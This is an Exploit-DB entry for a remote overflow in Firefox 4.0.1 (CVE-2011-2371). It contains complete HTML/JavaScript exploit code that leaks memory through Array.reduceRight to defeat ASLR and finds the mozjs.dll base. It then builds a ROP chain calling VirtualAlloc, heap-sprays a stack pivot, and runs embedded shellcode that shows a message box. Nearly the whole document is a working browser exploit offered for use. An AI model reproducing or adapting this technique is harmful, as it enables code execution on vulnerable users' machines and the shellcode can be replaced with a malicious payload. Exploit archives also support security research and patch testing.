Mozilla Firefox 4.0.1 - 'Array.reduceRight()' Remote Overflow

EDB-ID:

18531


Author:

pa_kt

Type:

remote


Platform:

Windows

Date:

2012-02-27


<!--

Full Exploit Code: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18531.zip

PoC exploit for CVE-2011-2371

tested against Firefox 4.0.1
md5 of mozjs.dll: 5d7ffcc9deb5bb08417ceae51d2afed4

change constants to switch between w7/xp.
see my blog if you want to know how this works.
http://gdtr.wordpress.com/2012/02/22/exploiting-cve-2011-2371-without-non-aslr-modules/

p_k
twitter.com/pa_kt
gdtr.wordpress.com
-->

<html>
    <script src="jspack.js"></script>
    <script>
    

    function hex(x){
        var y = x.toString(16);
        y = "0x"+y;
        return y;
    }

    function itoa(i)
    { 
       return String.fromCharCode(i);
    }
    
    // n - length in bytes (1 unicode char = 2 bytes)
    function puff(x, n){
        while(x.length < n) x += x;

        return x.substring(0,n);
    }
        
      function arr2hex(tab){
          var s = "";
          for(var i in tab){
              x = tab[i];
              x = x.toString(16);
              if(x.length<2)
                x = "0"+x;
              s += x + " ";
            }
            return s;
        }

        function arr2ascii(tab){
            var s = ""
            for(var i in tab){
                x = tab[i];
                if(0x20 <= x && x<=0x7f){
                    y = itoa(x);
                }
                else{
                    y = ".";
                }
                s += y;
            }
            return s;
        }

    function xchg(d,i,j){
        t = d[i];
        d[i] = d[j];
        d[j] = t;
    }

    function bswap(d){
        xchg(d, 0, 3);
        xchg(d, 1, 2);
    }
    
    function nicer(tab){
          jsp = new JSPack();
          res = [];
          for(var i in tab){
              x = tab[i];
              t = jsp.Pack("d", [x]);
              d1 = t.slice(0, 4);
              d2 = t.slice(4, 8);
              bswap(d1);
              bswap(d2);
              t = [d1,d2]; 
              res = res.concat(t);
          }
          res = res.reverse();
          return res;
    }

    function dw2int(d){
        n = 0;
        for(var i=0;i<4;i++){
            n *= 256;
            n += d[3-i];
        }
        return n;
    }
    
      function convert(tab){

          o = s = v = "";
          for(var i in tab){
              d = tab[i];
              s += arr2hex(d);
              v += arr2ascii(d);
              if((parseInt(i)+1)%4==0){
                  o += s + " | " + v + "\n";
                  s = "";
                  v = "";
              }
          }
          return o;
      }

    function check_pair(d1, d2){
        var n1 = dw2int(d1);
        var n2 = dw2int(d2);

        if(n2-n1 == 0x304)
            return true;
        return false;
    }

    function find_mozjs_base(tab){
        var n1 = 0;
        for(var i=0;i<tab.length-4;i++){
            d1 = tab[i];
            d2 = tab[i+1];
            if(check_pair(d1,d2)){
                n1 = dw2int(d1);
                n1 = n1 - 0x3cac;   //n1 = mozjs .data
                n1 = n1 - 0x1B2000; //n1 = mozjs base
                break;
            }
        }

        return n1;
    }

    function d2u(dword){
        var uni = String.fromCharCode(dword & 0xFFFF);
        uni += String.fromCharCode(dword>>16);
        return uni;
    }

    function odd_d2u(d1, d2){
		uni = String.fromCharCode((d1&0xFF)<<8);
		uni += String.fromCharCode((d1>>8)&0xFFFF);
        uni += String.fromCharCode((d1>>24)+((d2 & 0xFF)<<8)); //1+1<<8 == 512 in JS T_T
		uni += String.fromCharCode((d2>>8)&0xFFFF);
        uni += String.fromCharCode(d2>>24);
        return uni;
    }

    // generated with mona.py
    function rop_chain(mozjs_base){
        var arr = [
            mozjs_base + 0x000c96e6,	// POP EAX // RETN [mozjs.dll] 
            mozjs_base + 0x0015d054,	// ptr to &VirtualAlloc() [IAT mozjs.dll]
            mozjs_base + 0x00028510,	// MOV EAX,DWORD PTR DS:[EAX] // RETN [mozjs.dll] 
            mozjs_base + 0x0014293c,	// XCHG EAX,ESI // RETN [mozjs.dll] 
            mozjs_base + 0x0014d00d,	// POP EBP // RETN [mozjs.dll] 
            mozjs_base + 0x000d7ee2,	// & push esp //  ret 04 [mozjs.dll]
            mozjs_base + 0x000be327,	// POP EBX // RETN [mozjs.dll] 
            0x00000001,                 	// 0x00000001-> ebx
            mozjs_base + 0x0004f422,	// POP EDX // RETN [mozjs.dll] 
            0x00001000,                 	// 0x00001000-> edx
            mozjs_base + 0x000b1421,	// POP ECX // RETN [mozjs.dll] 
            0x00000040,                 	// 0x00000040-> ecx
            mozjs_base + 0x000062e3,	// POP EDI // RETN [mozjs.dll] 
            mozjs_base + 0x0000f005,	// RETN (ROP NOP) [mozjs.dll]
            mozjs_base + 0x000652f0,	// POP EAX // RETN [mozjs.dll] 
            0x90909090,                 	// nop
            mozjs_base + 0x001372bd 	// PUSHAD // RETN [mozjs.dll] 
            ];
        return arr;
    }
    
    function tab2uni(tab){
        var uni = ""
        for(var i=0;i<tab.length;i++){
            uni += d2u(tab[i]);
        }
        return uni;
    }

    function spray(mozjs_base, h1_s, hsize) {

        function rva2va(addr) { return addr+mozjs_base; }
        function rva2d(addr) { return d2u(rva2va(addr)); }
        
        var align = 0x100000;
        var tab_offset = 0x1000;
        var TYPE_OBJECT = "%u0007%uffff";
        var pivot_rva = 0x1a21c;        // 0x68e7a21c :  # ADD EBP,EBX # PUSH DS # POP EDI # POP ESI # POP EBX # MOV ESP,EBP # POP EBP # RETN 
        var mov_esp_ebp_rva = 0x1a222;	// mov esp, ebp # pop ebp # ret

        var h2_s = h1_s + hsize;
        var h2_middle = (h2_s + hsize/2) & (~(align-1)); //align

        //mov     eax,dword ptr [edi+64h]   ;edi=[h2_ptr+4], later: call eax

        var h2_ptr = h2_middle + tab_offset;
        var off1 = h2_ptr;
        var off2 = h2_ptr-0x64;
        var v1 = d2u(off1);
        var h1_fill = unescape(v1+TYPE_OBJECT);
        var foo = puff(h1_fill, 0x4000);
        var h1_spray = foo.substring(0,(0x4000/2)-2);
        
        var pivot_va = rva2va(pivot_rva);
        pivot_va = d2u(pivot_va);
        off2 = d2u(off2);
        var new_ebp = h2_ptr+18;
        var mov_esp_ebp_va = rva2va(mov_esp_ebp_rva);
        var set_esp = odd_d2u(new_ebp, mov_esp_ebp_va);

        var rop = tab2uni(rop_chain(mozjs_base));

        //shellcode by skylined
        var msgbox_shellcode = "%uf631%u6456%u768b%u8b30%u0c76%u768b%u8b1c%u086e%u368b%u5d8b%u8b3c%u1d5c%u0178%u8beb%u184b%ue367%u8bec%u207b%uef01%u7c8b%ufc8f%uef01%uc031%u3299%u6617%ucac1%uae01%uf775%u8166%u2afa%u74b6%u6609%ufa81%u1aaa%udbe0%uc575%u538b%u0124%u0fea%u14b7%u8b4a%u1c7b%uef01%u2c03%u8597%u74f6%u6812%u3233%u2020%u7568%u6573%u5472%ud5ff%u3195%uebf6%u56a3%u3168%u0021%u6800%u322d%u3733%u3268%u3130%u6831%u7663%u2d65%u8754%u2404%u5050%uff56%uccd5";

        var x = unescape(pivot_va+off2+set_esp+"%u1111%u2222"+rop+msgbox_shellcode);
        x = puff(x, 0x4000);
        var h2_spray = x.substring(0,(0x4000/2)-2);

        var spray_tab = new Array();
        for (i=0;i<0x1000;i++){
            spray_tab[i] = h1_spray+"1";
            spray_tab[i].indexOf("zzz");
        }
        for (i=0x1000;i<0x2000;i++){
            spray_tab[i] = h2_spray+"2";
            spray_tab[i].indexOf("zzz");
        }
    }

    var exploit_func = 
        function bleh(prev, current, index, array) {
            //boom = typeof current;
            current[4] = 1; // add ebp, ebx, where ebx=2*4+1=9
            //throw "up"; 
        }

    function trigger(func, arr_len){
        xyz.length = arr_len;
        try{
          xyz.reduceRight(func,1,2,3);
        }
        catch(e){ }
    }

    function leak(){
        var CHUNK_SIZE = 0x1000;
        var leak_arr_len = 0xffffffff;

        mem = [];
        count = 0;

        var leak_func = 
            function bleh(prev, current, index, array) {
                if(typeof current == "number"){
                    mem.push(current);
                }
                count += 1;
                if(count>=CHUNK_SIZE/8){
                    throw "lol";
                }
        }

        function dump_mem(leak_f, arr_len){
            var dump = document.getElementById("dump");
            var mozjs_base = 0;
            for(var i=0;;i++){
                mem = [];
                count = 0;
                trigger(leak_f, arr_len);
                mem = nicer(mem);
                s = convert(mem);
                dump.innerHTML = s;

                //alert("leaked bytes: "+hex(mem.length*4));
                mozjs_base = find_mozjs_base(mem);
                //alert("mozjs base: "+hex(mozjs_base));
                if(mozjs_base != 0){
                  break;
                }
            }
            return mozjs_base;
        }
        var base = dump_mem(leak_func, leak_arr_len);
        return base;
    }

    function go(){
        //var arr_ptr = 0x05000000; //(xp sp3)
        //var h1_s = 0x05b00000; 
        //var h2_e = 0x0fb00000;

        var arr_ptr = 0x0b000000; //w7
        var h1_s = 0x0b500000; 
        var h2_e = 0x16e00000;

        var size = h2_e-h1_s;
        var hsize = size/2;

        var h1_middle = h1_s+hsize/2;
        var exp_arr_len = (h1_middle - arr_ptr)/8 + 0x80000000;

        var mozjs_base = leak();
        spray(mozjs_base, h1_s, hsize);

        alert("ready");
	
        while(1){
            trigger(exploit_func, exp_arr_len);
            exp_arr_len -= 0x500;
        }
    }

    // globals
    var xyz = new Array();

    </script>

    <body>
        <input type="button" value="go" onclick="go()" />
        <pre id="dump">
        </pre>
    </body>

 </html>